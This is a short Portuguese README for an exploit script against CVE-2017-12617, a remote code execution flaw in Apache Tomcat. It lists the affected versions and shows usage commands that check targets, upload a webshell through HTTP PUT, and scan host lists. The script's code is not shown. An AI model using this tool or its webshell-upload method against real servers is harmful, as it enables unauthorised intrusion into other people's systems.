CVE-2017-12617

CVE-2017-12617 é uma vulnerabilidade crítica de execução remota de código (RCE) descoberta no Apache Tomcat

Os sistemas com HTTP PUTs habilitados (através da definição do parâmetro de inicialização "read-only" do Default servlet para "false") são afetados.

As versões do Tomcat anteriores a 9.0.1 (Beta), 8.5.23, 8.0.47 e 7.0.82 contêm uma vulnerabilidade

potencialmente perigosa de execução remota de código (RCE) em todos os sistemas operacionais se o servlet padrão

estiver configurado com o parâmetro readonly definido como false ou se o servlet WebDAV estiver habilitado com o

parâmetro readonly definido como false

Página do Apache Tomcat

./cve-2017-12617.py [options]

opções:

-u ,--url [::] verifica se a url do alvo está vulnerável
-p,--pwn [::] gera webshell e envia para o alvo
-l,--list [::] lista de hosts

[+]uso:

./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt

Banner

Verificar se o alvo está vulnerável

Confirmar que o arquivo foi criado

Criar Webshell e obter shell

Escanear hosts em arquivo txt

[ @intx0x80 ]